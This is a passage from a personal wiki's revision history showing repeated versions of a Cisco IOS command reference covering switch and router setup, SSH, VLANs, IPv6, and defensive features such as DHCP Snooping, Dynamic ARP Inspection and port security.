* Do '''not''' enable PortFast on ports connected to other switches<br />
* Recommended for access/edge ports<br />
* Incorrect use can cause Layer 2 loops<br />
<br />
== DHCP Snooping ==<br />
<br />
=== Enable DHCP Snooping globally ===<br />
Enable DHCP Snooping for the switch.<br />
<br />
ip dhcp snooping<br />
<br />
=== Enable DHCP Snooping on a VLAN ===<br />
DHCP Snooping only operates on specified VLANs.<br />
<br />
ip dhcp snooping vlan 10<br />
ip dhcp snooping vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Mark uplinks or ports connected to legitimate DHCP servers as trusted.<br />
<br />
interface GigabitEthernet0/1<br />
ip dhcp snooping trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. DHCP server responses are blocked.<br />
<br />
interface GigabitEthernet0/2<br />
no ip dhcp snooping trust<br />
<br />
=== Configure DHCP Snooping rate limiting ===<br />
Protect against DHCP starvation attacks. Limits to 15 DHCP packets per second, will mark port as violating otherwise.<br />
<br />
interface GigabitEthernet0/2<br />
ip dhcp snooping limit rate 15<br />
<br />
=== Verify DHCP Snooping status ===<br />
<br />
show ip dhcp snooping<br />
show ip dhcp snooping binding<br />
<br />
=== Disable DHCP Snooping ===<br />
<br />
no ip dhcp snooping<br />
no ip dhcp snooping vlan 10<br />
<br />
=== Notes ===<br />
* Only trusted ports can send DHCP server messages<br />
* Access ports should remain untrusted<br />
* Commonly used with '''Dynamic ARP Inspection''' and '''IP Source Guard'''<br />
* Requires correct VLAN configuration to function properly<br />
<br />
== Dynamic ARP Inspection (DAI) ==<br />
<br />
=== Enable DAI globally ===<br />
Dynamic ARP Inspection requires DHCP Snooping to be enabled.<br />
<br />
ip arp inspection<br />
<br />
=== Enable DAI on a VLAN ===<br />
Specify which VLANs should be protected.<br />
<br />
ip arp inspection vlan 10<br />
ip arp inspection vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Trust uplinks and ports connected to other switches or routers.<br />
<br />
interface GigabitEthernet0/1<br />
ip arp inspection trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. Invalid ARP packets are dropped.<br />
<br />
interface GigabitEthernet0/2<br />
no ip arp inspection trust<br />
<br />
=== Configure ARP rate limiting ===<br />
Protect against ARP flooding attacks.<br />
<br />
interface GigabitEthernet0/2<br />
ip arp inspection limit rate 15<br />
<br />
=== Verify DAI status ===<br />
<br />
show ip arp inspection<br />
show ip arp inspection vlan<br />
show ip arp inspection interfaces<br />
<br />
=== Disable DAI ===<br />
<br />
no ip arp inspection<br />
no ip arp inspection vlan 10<br />
<br />
=== Notes ===<br />
* Requires '''DHCP Snooping''' to build the ARP binding table<br />
* Only trusted ports can send unlimited ARP replies<br />
* Access ports should remain untrusted<br />
* Commonly deployed with '''PortFast + BPDU Guard'''<br />
<br />
== Port Security ==<br />
<br />
=== Activate Port Security on an interface ===<br />
The port cannot be a dynamic port:<br />
switchport mode access<br />
Enable Port Security<br />
switchport port-security<br />
<br />
=== Set the maximum number of mac addresses that can be used on that port ===<br />
switchport port-security maximum 1<br />
<br />
=== Whitelist a specific mac address ===<br />
switchport port-security mac-address 0001.6311.E7BC<br />
<br />
=== Enable sticky mode to automatically learn mac addresses ===<br />
switchport port-security mac-address sticky<br />
<br />
=== Port Security Violation Modes ===<br />
==== Protect ====<br />
Silently drops packets from unknown MAC addresses while keeping the port up and generating no alerts.<br />
switchport port-security violation protect<br />
<br />
==== Restrict ====<br />
Drops packets from unknown MAC addresses and logs the violation while incrementing the security counter.<br />
switchport port-security violation restrict<br />
<br />
==== Shutdown ====<br />
Immediately disables the port when an unknown MAC address is detected, placing it into an error-disabled state.<br />
switchport port-security violation shutdown<br />
<br />
=== Port Security Aging ===<br />
==== Enable static aging on an interface ====<br />
switchport port-security aging static<br />
<br />
==== Enable timed aging on an interface (5 minutes) ====<br />
switchport port-security aging time 5</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1072
Cisco Commands
2026-02-04T22:14:00Z
<p>50.220.241.211: /* IPv6 ND Other-Config Flag */</p>
<hr />
<div>= Cisco IOS Command Reference =<br />
<br />
A quick-reference guide for common Cisco IOS commands on switches and routers.<br />
<br />
----<br />
<br />
== System & Routing Basics ==<br />
<br />
=== Enable IPv4 Routing (Layer 3 Switches) ===<br />
<pre><br />
ip routing<br />
</pre><br />
<br />
=== Enable IPv6 Routing (Routers) ===<br />
<pre><br />
ipv6 unicast-routing<br />
</pre><br />
<br />
----<br />
<br />
== Device & System Information ==<br />
<br />
=== Show MAC Address Table ===<br />
<pre><br />
show mac address-table<br />
</pre><br />
<br />
=== Show OS and Device Version ===<br />
<pre><br />
show version<br />
</pre><br />
<br />
=== Show Logged-in Users ===<br />
<pre><br />
show users<br />
</pre><br />
<br />
=== Show Files ===<br />
<pre><br />
dir<br />
dir nvram:<br />
</pre><br />
<br />
----<br />
<br />
== Configuration Files ==<br />
<br />
=== Show Configurations ===<br />
<pre><br />
show running-config<br />
show startup-config<br />
</pre><br />
<br />
=== Show Interface Config ===<br />
<pre><br />
show run interface g0/0<br />
</pre><br />
<br />
=== Filter Running Config (grep-like) ===<br />
<pre><br />
show run | include {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
</pre><br />
<br />
=== Save Running Config ===<br />
<pre><br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
</pre><br />
<br />
----<br />
<br />
== User Privileges & Security ==<br />
<br />
=== Enter Privileged Mode ===<br />
<pre><br />
enable<br />
</pre><br />
<br />
=== Set Encrypted Enable Password ===<br />
<pre><br />
enable secret ThisisaSecret<br />
</pre><br />
<br />
=== Encrypt Plaintext Passwords (Weak Encryption) ===<br />
You can decrypt these with publicly available tools like https://keydecryptor.com/decryption-tools/cisco7<br />
<pre><br />
service password-encryption<br />
</pre><br />
<br />
----<br />
<br />
== Interface & Network Status ==<br />
<br />
=== Interface IP Summary ===<br />
<pre><br />
show ip interface brief<br />
show ipv6 interface brief<br />
</pre><br />
<br />
=== Interface IP Summary (filtered to only interfaces with IPs) ===<br />
<pre><br />
show ip interface brief | exclude unassigned<br />
</pre><br />
=== Routing Table ===<br />
<pre><br />
show ip route<br />
</pre><br />
<br />
----<br />
<br />
== VLAN & Switching ==<br />
<br />
=== Show VLANs ===<br />
<pre><br />
show vlan brief<br />
</pre><br />
<br />
=== Show Interface VLAN Details ===<br />
<pre><br />
show interface g0/1 switchport<br />
</pre><br />
<br />
=== Show Trunk Interfaces ===<br />
<pre><br />
show int trunk<br />
</pre><br />
<br />
=== Clear Tables ===<br />
<pre><br />
clear mac address-table<br />
clear arp-cache<br />
</pre><br />
<br />
----<br />
<br />
== Telnet & Remote Access ==<br />
<br />
=== Connect via Telnet ===<br />
<pre><br />
connect {DeviceName}<br />
</pre><br />
<br />
=== Show Hosts & Sessions ===<br />
<pre><br />
show hosts<br />
show sessions<br />
</pre><br />
<br />
=== Disconnect Session ===<br />
<pre><br />
disconnect {DeviceName}<br />
</pre><br />
<br />
=== Suspend Active Session ===<br />
<pre><br />
Ctrl+Shift+6, then x<br />
</pre><br />
<br />
----<br />
<br />
== SSH Configuration ==<br />
<br />
=== Basic SSH Setup ===<br />
<pre><br />
ip domain-name cisco.com<br />
crypto key generate rsa<br />
ip ssh version 2<br />
</pre><br />
<br />
=== Remove RSA Keys ===<br />
<pre><br />
crypto key zeroize rsa<br />
</pre><br />
<br />
=== Create Local User ===<br />
<pre><br />
username admin secret ccna<br />
</pre><br />
<br />
=== Set Default Gateway ===<br />
<pre><br />
ip default-gateway 192.168.10.1<br />
</pre><br />
<br />
=== Enable SSH on VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
transport input ssh<br />
login local<br />
exit<br />
</pre><br />
<br />
----<br />
<br />
== Global Configuration Mode ==<br />
<br />
=== Enter Global Config ===<br />
<pre><br />
configure terminal<br />
</pre><br />
<br />
=== Disable DNS Lookup on Typos ===<br />
<pre><br />
no ip domain-lookup<br />
</pre><br />
<br />
=== Set MOTD Banner ===<br />
<pre><br />
banner motd MESSAGEHERE<br />
</pre><br />
<br />
=== Set Hostname ===<br />
<pre><br />
hostname HOSTNAME<br />
</pre><br />
<br />
----<br />
<br />
== Line Configuration ==<br />
<br />
=== Console Line ===<br />
<pre><br />
line con 0<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
=== VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
----<br />
<br />
== Interface Configuration ==<br />
<br />
=== Interface Selection ===<br />
<pre><br />
interface vlan 1<br />
interface fa0/1<br />
interface range fa0/2-3<br />
interface range fa0/2-3,g0/1<br />
</pre><br />
<br />
=== Enable Interface ===<br />
<pre><br />
no shutdown<br />
</pre><br />
<br />
=== Assign IPv4 Address ===<br />
<pre><br />
ip address 192.168.0.1 255.255.255.0<br />
</pre><br />
<br />
----<br />
<br />
== VLAN Configuration ==<br />
<br />
=== Create / Configure VLAN ===<br />
<pre><br />
vlan 10<br />
name MyAwesomeVlan<br />
</pre><br />
<br />
----<br />
<br />
== Switchport Configuration ==<br />
<br />
=== Access Port ===<br />
<pre><br />
switchport mode access<br />
switchport access vlan 10<br />
</pre><br />
<br />
=== Trunk Port ===<br />
<pre><br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
</pre><br />
<br />
=== Trunk VLAN Settings ===<br />
<pre><br />
switchport trunk allowed vlan 10,20,33,99<br />
switchport trunk native vlan 99<br />
</pre><br />
<br />
----<br />
<br />
== IPv6 Interface Configuration ==<br />
<br />
=== Assign IPv6 Address ===<br />
<pre><br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
</pre><br />
<br />
=== Assign Link-Local Address ===<br />
<pre><br />
ipv6 address fe80::1 link-local<br />
</pre><br />
<br />
=== Remove IPv6 Addresses ===<br />
<pre><br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
no ipv6 address<br />
</pre><br />
<br />
=== IPv6 ND Other-Config Flag ===<br />
The `ipv6 nd other-config-flag` command sets the "Other Configuration" flag in IPv6 Neighbor Discovery (ND) messages. <br />
- When enabled, it signals to IPv6 hosts that they should obtain additional configuration information (such as DNS server addresses) via DHCPv6, even if they have a stateless autoconfigured address.<br />
<br />
ipv6 nd other-config-flag<br />
</pre><br />
<br />
----<br />
<br />
== Spanning Tree ==<br />
<br />
=== Enable PortFast on an interface ===<br />
Use PortFast on edge/access ports that connect to end devices.<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
<br />
=== Enable PortFast globally ===<br />
Enables PortFast on all access ports.<br />
<br />
spanning-tree portfast default<br />
<br />
=== Enable PortFast on a trunk (use with caution) ===<br />
Only use when the trunk connects to a single end device (not another switch).<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast trunk<br />
<br />
=== Verify PortFast status ===<br />
<br />
show spanning-tree interface GigabitEthernet0/1 detail<br />
<br />
=== Disable PortFast on an interface ===<br />
<br />
interface GigabitEthernet0/1<br />
no spanning-tree portfast<br />
<br />
=== Best Practice: Enable BPDU Guard with PortFast ===<br />
Shuts down the port if a BPDU is received, protecting against loops.<br />
<br />
Per interface:<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
spanning-tree bpduguard enable<br />
<br />
Globally:<br />
spanning-tree portfast default<br />
spanning-tree bpduguard default<br />
<br />
=== Notes ===<br />
* Do '''not''' enable PortFast on ports connected to other switches<br />
* Recommended for access/edge ports<br />
* Incorrect use can cause Layer 2 loops<br />
<br />
== DHCP Snooping ==<br />
<br />
=== Enable DHCP Snooping globally ===<br />
Enable DHCP Snooping for the switch.<br />
<br />
ip dhcp snooping<br />
<br />
=== Enable DHCP Snooping on a VLAN ===<br />
DHCP Snooping only operates on specified VLANs.<br />
<br />
ip dhcp snooping vlan 10<br />
ip dhcp snooping vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Mark uplinks or ports connected to legitimate DHCP servers as trusted.<br />
<br />
interface GigabitEthernet0/1<br />
ip dhcp snooping trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. DHCP server responses are blocked.<br />
<br />
interface GigabitEthernet0/2<br />
no ip dhcp snooping trust<br />
<br />
=== Configure DHCP Snooping rate limiting ===<br />
Protect against DHCP starvation attacks. Limits to 15 DHCP packets per second, will mark port as violating otherwise.<br />
<br />
interface GigabitEthernet0/2<br />
ip dhcp snooping limit rate 15<br />
<br />
=== Verify DHCP Snooping status ===<br />
<br />
show ip dhcp snooping<br />
show ip dhcp snooping binding<br />
<br />
=== Disable DHCP Snooping ===<br />
<br />
no ip dhcp snooping<br />
no ip dhcp snooping vlan 10<br />
<br />
=== Notes ===<br />
* Only trusted ports can send DHCP server messages<br />
* Access ports should remain untrusted<br />
* Commonly used with '''Dynamic ARP Inspection''' and '''IP Source Guard'''<br />
* Requires correct VLAN configuration to function properly<br />
<br />
== Dynamic ARP Inspection (DAI) ==<br />
<br />
=== Enable DAI globally ===<br />
Dynamic ARP Inspection requires DHCP Snooping to be enabled.<br />
<br />
ip arp inspection<br />
<br />
=== Enable DAI on a VLAN ===<br />
Specify which VLANs should be protected.<br />
<br />
ip arp inspection vlan 10<br />
ip arp inspection vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Trust uplinks and ports connected to other switches or routers.<br />
<br />
interface GigabitEthernet0/1<br />
ip arp inspection trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. Invalid ARP packets are dropped.<br />
<br />
interface GigabitEthernet0/2<br />
no ip arp inspection trust<br />
<br />
=== Configure ARP rate limiting ===<br />
Protect against ARP flooding attacks.<br />
<br />
interface GigabitEthernet0/2<br />
ip arp inspection limit rate 15<br />
<br />
=== Verify DAI status ===<br />
<br />
show ip arp inspection<br />
show ip arp inspection vlan<br />
show ip arp inspection interfaces<br />
<br />
=== Disable DAI ===<br />
<br />
no ip arp inspection<br />
no ip arp inspection vlan 10<br />
<br />
=== Notes ===<br />
* Requires '''DHCP Snooping''' to build the ARP binding table<br />
* Only trusted ports can send unlimited ARP replies<br />
* Access ports should remain untrusted<br />
* Commonly deployed with '''PortFast + BPDU Guard'''<br />
<br />
== Port Security ==<br />
<br />
=== Activate Port Security on an interface ===<br />
The port cannot be a dynamic port:<br />
switchport mode access<br />
Enable Port Security<br />
switchport port-security<br />
<br />
=== Set the maximum number of mac addresses that can be used on that port ===<br />
switchport port-security maximum 1<br />
<br />
=== Whitelist a specific mac address ===<br />
switchport port-security mac-address 0001.6311.E7BC<br />
<br />
=== Enable sticky mode to automatically learn mac addresses ===<br />
switchport port-security mac-address sticky<br />
<br />
=== Port Security Violation Modes ===<br />
==== Protect ====<br />
Silently drops packets from unknown MAC addresses while keeping the port up and generating no alerts.<br />
switchport port-security violation protect<br />
<br />
==== Restrict ====<br />
Drops packets from unknown MAC addresses and logs the violation while incrementing the security counter.<br />
switchport port-security violation restrict<br />
<br />
==== Shutdown ====<br />
Immediately disables the port when an unknown MAC address is detected, placing it into an error-disabled state.<br />
switchport port-security violation shutdown<br />
<br />
=== Port Security Aging ===<br />
==== Enable static aging on an interface ====<br />
switchport port-security aging static<br />
<br />
==== Enable timed aging on an interface (5 minutes) ====<br />
switchport port-security aging time 5</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1071
Cisco Commands
2026-02-04T22:13:49Z
<p>50.220.241.211: /* IPv6 ND Other-Config Flag */</p>
<hr />
<div>= Cisco IOS Command Reference =<br />
<br />
A quick-reference guide for common Cisco IOS commands on switches and routers.<br />
<br />
----<br />
<br />
== System & Routing Basics ==<br />
<br />
=== Enable IPv4 Routing (Layer 3 Switches) ===<br />
<pre><br />
ip routing<br />
</pre><br />
<br />
=== Enable IPv6 Routing (Routers) ===<br />
<pre><br />
ipv6 unicast-routing<br />
</pre><br />
<br />
----<br />
<br />
== Device & System Information ==<br />
<br />
=== Show MAC Address Table ===<br />
<pre><br />
show mac address-table<br />
</pre><br />
<br />
=== Show OS and Device Version ===<br />
<pre><br />
show version<br />
</pre><br />
<br />
=== Show Logged-in Users ===<br />
<pre><br />
show users<br />
</pre><br />
<br />
=== Show Files ===<br />
<pre><br />
dir<br />
dir nvram:<br />
</pre><br />
<br />
----<br />
<br />
== Configuration Files ==<br />
<br />
=== Show Configurations ===<br />
<pre><br />
show running-config<br />
show startup-config<br />
</pre><br />
<br />
=== Show Interface Config ===<br />
<pre><br />
show run interface g0/0<br />
</pre><br />
<br />
=== Filter Running Config (grep-like) ===<br />
<pre><br />
show run | include {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
</pre><br />
<br />
=== Save Running Config ===<br />
<pre><br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
</pre><br />
<br />
----<br />
<br />
== User Privileges & Security ==<br />
<br />
=== Enter Privileged Mode ===<br />
<pre><br />
enable<br />
</pre><br />
<br />
=== Set Encrypted Enable Password ===<br />
<pre><br />
enable secret ThisisaSecret<br />
</pre><br />
<br />
=== Encrypt Plaintext Passwords (Weak Encryption) ===<br />
You can decrypt these with publicly available tools like https://keydecryptor.com/decryption-tools/cisco7<br />
<pre><br />
service password-encryption<br />
</pre><br />
<br />
----<br />
<br />
== Interface & Network Status ==<br />
<br />
=== Interface IP Summary ===<br />
<pre><br />
show ip interface brief<br />
show ipv6 interface brief<br />
</pre><br />
<br />
=== Interface IP Summary (filtered to only interfaces with IPs) ===<br />
<pre><br />
show ip interface brief | exclude unassigned<br />
</pre><br />
=== Routing Table ===<br />
<pre><br />
show ip route<br />
</pre><br />
<br />
----<br />
<br />
== VLAN & Switching ==<br />
<br />
=== Show VLANs ===<br />
<pre><br />
show vlan brief<br />
</pre><br />
<br />
=== Show Interface VLAN Details ===<br />
<pre><br />
show interface g0/1 switchport<br />
</pre><br />
<br />
=== Show Trunk Interfaces ===<br />
<pre><br />
show int trunk<br />
</pre><br />
<br />
=== Clear Tables ===<br />
<pre><br />
clear mac address-table<br />
clear arp-cache<br />
</pre><br />
<br />
----<br />
<br />
== Telnet & Remote Access ==<br />
<br />
=== Connect via Telnet ===<br />
<pre><br />
connect {DeviceName}<br />
</pre><br />
<br />
=== Show Hosts & Sessions ===<br />
<pre><br />
show hosts<br />
show sessions<br />
</pre><br />
<br />
=== Disconnect Session ===<br />
<pre><br />
disconnect {DeviceName}<br />
</pre><br />
<br />
=== Suspend Active Session ===<br />
<pre><br />
Ctrl+Shift+6, then x<br />
</pre><br />
<br />
----<br />
<br />
== SSH Configuration ==<br />
<br />
=== Basic SSH Setup ===<br />
<pre><br />
ip domain-name cisco.com<br />
crypto key generate rsa<br />
ip ssh version 2<br />
</pre><br />
<br />
=== Remove RSA Keys ===<br />
<pre><br />
crypto key zeroize rsa<br />
</pre><br />
<br />
=== Create Local User ===<br />
<pre><br />
username admin secret ccna<br />
</pre><br />
<br />
=== Set Default Gateway ===<br />
<pre><br />
ip default-gateway 192.168.10.1<br />
</pre><br />
<br />
=== Enable SSH on VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
transport input ssh<br />
login local<br />
exit<br />
</pre><br />
<br />
----<br />
<br />
== Global Configuration Mode ==<br />
<br />
=== Enter Global Config ===<br />
<pre><br />
configure terminal<br />
</pre><br />
<br />
=== Disable DNS Lookup on Typos ===<br />
<pre><br />
no ip domain-lookup<br />
</pre><br />
<br />
=== Set MOTD Banner ===<br />
<pre><br />
banner motd MESSAGEHERE<br />
</pre><br />
<br />
=== Set Hostname ===<br />
<pre><br />
hostname HOSTNAME<br />
</pre><br />
<br />
----<br />
<br />
== Line Configuration ==<br />
<br />
=== Console Line ===<br />
<pre><br />
line con 0<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
=== VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
----<br />
<br />
== Interface Configuration ==<br />
<br />
=== Interface Selection ===<br />
<pre><br />
interface vlan 1<br />
interface fa0/1<br />
interface range fa0/2-3<br />
interface range fa0/2-3,g0/1<br />
</pre><br />
<br />
=== Enable Interface ===<br />
<pre><br />
no shutdown<br />
</pre><br />
<br />
=== Assign IPv4 Address ===<br />
<pre><br />
ip address 192.168.0.1 255.255.255.0<br />
</pre><br />
<br />
----<br />
<br />
== VLAN Configuration ==<br />
<br />
=== Create / Configure VLAN ===<br />
<pre><br />
vlan 10<br />
name MyAwesomeVlan<br />
</pre><br />
<br />
----<br />
<br />
== Switchport Configuration ==<br />
<br />
=== Access Port ===<br />
<pre><br />
switchport mode access<br />
switchport access vlan 10<br />
</pre><br />
<br />
=== Trunk Port ===<br />
<pre><br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
</pre><br />
<br />
=== Trunk VLAN Settings ===<br />
<pre><br />
switchport trunk allowed vlan 10,20,33,99<br />
switchport trunk native vlan 99<br />
</pre><br />
<br />
----<br />
<br />
== IPv6 Interface Configuration ==<br />
<br />
=== Assign IPv6 Address ===<br />
<pre><br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
</pre><br />
<br />
=== Assign Link-Local Address ===<br />
<pre><br />
ipv6 address fe80::1 link-local<br />
</pre><br />
<br />
=== Remove IPv6 Addresses ===<br />
<pre><br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
no ipv6 address<br />
</pre><br />
<br />
=== IPv6 ND Other-Config Flag ===<br />
The `ipv6 nd other-config-flag` command sets the "Other Configuration" flag in IPv6 Neighbor Discovery (ND) messages. <br />
- When enabled, it signals to IPv6 hosts that they should obtain additional configuration information (such as DNS server addresses) via DHCPv6, even if they have a stateless autoconfigured address.<br />
<br />
ipv6 nd other-config-flag<br />
</pre><br />
<br />
----<br />
<br />
== Spanning Tree ==<br />
<br />
=== Enable PortFast on an interface ===<br />
Use PortFast on edge/access ports that connect to end devices.<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
<br />
=== Enable PortFast globally ===<br />
Enables PortFast on all access ports.<br />
<br />
spanning-tree portfast default<br />
<br />
=== Enable PortFast on a trunk (use with caution) ===<br />
Only use when the trunk connects to a single end device (not another switch).<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast trunk<br />
<br />
=== Verify PortFast status ===<br />
<br />
show spanning-tree interface GigabitEthernet0/1 detail<br />
<br />
=== Disable PortFast on an interface ===<br />
<br />
interface GigabitEthernet0/1<br />
no spanning-tree portfast<br />
<br />
=== Best Practice: Enable BPDU Guard with PortFast ===<br />
Shuts down the port if a BPDU is received, protecting against loops.<br />
<br />
Per interface:<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
spanning-tree bpduguard enable<br />
<br />
Globally:<br />
spanning-tree portfast default<br />
spanning-tree bpduguard default<br />
<br />
=== Notes ===<br />
* Do '''not''' enable PortFast on ports connected to other switches<br />
* Recommended for access/edge ports<br />
* Incorrect use can cause Layer 2 loops<br />
<br />
== DHCP Snooping ==<br />
<br />
=== Enable DHCP Snooping globally ===<br />
Enable DHCP Snooping for the switch.<br />
<br />
ip dhcp snooping<br />
<br />
=== Enable DHCP Snooping on a VLAN ===<br />
DHCP Snooping only operates on specified VLANs.<br />
<br />
ip dhcp snooping vlan 10<br />
ip dhcp snooping vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Mark uplinks or ports connected to legitimate DHCP servers as trusted.<br />
<br />
interface GigabitEthernet0/1<br />
ip dhcp snooping trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. DHCP server responses are blocked.<br />
<br />
interface GigabitEthernet0/2<br />
no ip dhcp snooping trust<br />
<br />
=== Configure DHCP Snooping rate limiting ===<br />
Protect against DHCP starvation attacks. Limits to 15 DHCP packets per second, will mark port as violating otherwise.<br />
<br />
interface GigabitEthernet0/2<br />
ip dhcp snooping limit rate 15<br />
<br />
=== Verify DHCP Snooping status ===<br />
<br />
show ip dhcp snooping<br />
show ip dhcp snooping binding<br />
<br />
=== Disable DHCP Snooping ===<br />
<br />
no ip dhcp snooping<br />
no ip dhcp snooping vlan 10<br />
<br />
=== Notes ===<br />
* Only trusted ports can send DHCP server messages<br />
* Access ports should remain untrusted<br />
* Commonly used with '''Dynamic ARP Inspection''' and '''IP Source Guard'''<br />
* Requires correct VLAN configuration to function properly<br />
<br />
== Dynamic ARP Inspection (DAI) ==<br />
<br />
=== Enable DAI globally ===<br />
Dynamic ARP Inspection requires DHCP Snooping to be enabled.<br />
<br />
ip arp inspection<br />
<br />
=== Enable DAI on a VLAN ===<br />
Specify which VLANs should be protected.<br />
<br />
ip arp inspection vlan 10<br />
ip arp inspection vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Trust uplinks and ports connected to other switches or routers.<br />
<br />
interface GigabitEthernet0/1<br />
ip arp inspection trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. Invalid ARP packets are dropped.<br />
<br />
interface GigabitEthernet0/2<br />
no ip arp inspection trust<br />
<br />
=== Configure ARP rate limiting ===<br />
Protect against ARP flooding attacks.<br />
<br />
interface GigabitEthernet0/2<br />
ip arp inspection limit rate 15<br />
<br />
=== Verify DAI status ===<br />
<br />
show ip arp inspection<br />
show ip arp inspection vlan<br />
show ip arp inspection interfaces<br />
<br />
=== Disable DAI ===<br />
<br />
no ip arp inspection<br />
no ip arp inspection vlan 10<br />
<br />
=== Notes ===<br />
* Requires '''DHCP Snooping''' to build the ARP binding table<br />
* Only trusted ports can send unlimited ARP replies<br />
* Access ports should remain untrusted<br />
* Commonly deployed with '''PortFast + BPDU Guard'''<br />
<br />
== Port Security ==<br />
<br />
=== Activate Port Security on an interface ===<br />
The port cannot be a dynamic port:<br />
switchport mode access<br />
Enable Port Security<br />
switchport port-security<br />
<br />
=== Set the maximum number of mac addresses that can be used on that port ===<br />
switchport port-security maximum 1<br />
<br />
=== Whitelist a specific mac address ===<br />
switchport port-security mac-address 0001.6311.E7BC<br />
<br />
=== Enable sticky mode to automatically learn mac addresses ===<br />
switchport port-security mac-address sticky<br />
<br />
=== Port Security Violation Modes ===<br />
==== Protect ====<br />
Silently drops packets from unknown MAC addresses while keeping the port up and generating no alerts.<br />
switchport port-security violation protect<br />
<br />
==== Restrict ====<br />
Drops packets from unknown MAC addresses and logs the violation while incrementing the security counter.<br />
switchport port-security violation restrict<br />
<br />
==== Shutdown ====<br />
Immediately disables the port when an unknown MAC address is detected, placing it into an error-disabled state.<br />
switchport port-security violation shutdown<br />
<br />
=== Port Security Aging ===<br />
==== Enable static aging on an interface ====<br />
switchport port-security aging static<br />
<br />
==== Enable timed aging on an interface (5 minutes) ====<br />
switchport port-security aging time 5</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1070
Cisco Commands
2026-02-04T22:13:14Z
<p>50.220.241.211: /* IPv6 Interface Configuration */</p>
<hr />
<div>= Cisco IOS Command Reference =<br />
<br />
A quick-reference guide for common Cisco IOS commands on switches and routers.<br />
<br />
----<br />
<br />
== System & Routing Basics ==<br />
<br />
=== Enable IPv4 Routing (Layer 3 Switches) ===<br />
<pre><br />
ip routing<br />
</pre><br />
<br />
=== Enable IPv6 Routing (Routers) ===<br />
<pre><br />
ipv6 unicast-routing<br />
</pre><br />
<br />
----<br />
<br />
== Device & System Information ==<br />
<br />
=== Show MAC Address Table ===<br />
<pre><br />
show mac address-table<br />
</pre><br />
<br />
=== Show OS and Device Version ===<br />
<pre><br />
show version<br />
</pre><br />
<br />
=== Show Logged-in Users ===<br />
<pre><br />
show users<br />
</pre><br />
<br />
=== Show Files ===<br />
<pre><br />
dir<br />
dir nvram:<br />
</pre><br />
<br />
----<br />
<br />
== Configuration Files ==<br />
<br />
=== Show Configurations ===<br />
<pre><br />
show running-config<br />
show startup-config<br />
</pre><br />
<br />
=== Show Interface Config ===<br />
<pre><br />
show run interface g0/0<br />
</pre><br />
<br />
=== Filter Running Config (grep-like) ===<br />
<pre><br />
show run | include {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
</pre><br />
<br />
=== Save Running Config ===<br />
<pre><br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
</pre><br />
<br />
----<br />
<br />
== User Privileges & Security ==<br />
<br />
=== Enter Privileged Mode ===<br />
<pre><br />
enable<br />
</pre><br />
<br />
=== Set Encrypted Enable Password ===<br />
<pre><br />
enable secret ThisisaSecret<br />
</pre><br />
<br />
=== Encrypt Plaintext Passwords (Weak Encryption) ===<br />
You can decrypt these with publicly available tools like https://keydecryptor.com/decryption-tools/cisco7<br />
<pre><br />
service password-encryption<br />
</pre><br />
<br />
----<br />
<br />
== Interface & Network Status ==<br />
<br />
=== Interface IP Summary ===<br />
<pre><br />
show ip interface brief<br />
show ipv6 interface brief<br />
</pre><br />
<br />
=== Interface IP Summary (filtered to only interfaces with IPs) ===<br />
<pre><br />
show ip interface brief | exclude unassigned<br />
</pre><br />
=== Routing Table ===<br />
<pre><br />
show ip route<br />
</pre><br />
<br />
----<br />
<br />
== VLAN & Switching ==<br />
<br />
=== Show VLANs ===<br />
<pre><br />
show vlan brief<br />
</pre><br />
<br />
=== Show Interface VLAN Details ===<br />
<pre><br />
show interface g0/1 switchport<br />
</pre><br />
<br />
=== Show Trunk Interfaces ===<br />
<pre><br />
show int trunk<br />
</pre><br />
<br />
=== Clear Tables ===<br />
<pre><br />
clear mac address-table<br />
clear arp-cache<br />
</pre><br />
<br />
----<br />
<br />
== Telnet & Remote Access ==<br />
<br />
=== Connect via Telnet ===<br />
<pre><br />
connect {DeviceName}<br />
</pre><br />
<br />
=== Show Hosts & Sessions ===<br />
<pre><br />
show hosts<br />
show sessions<br />
</pre><br />
<br />
=== Disconnect Session ===<br />
<pre><br />
disconnect {DeviceName}<br />
</pre><br />
<br />
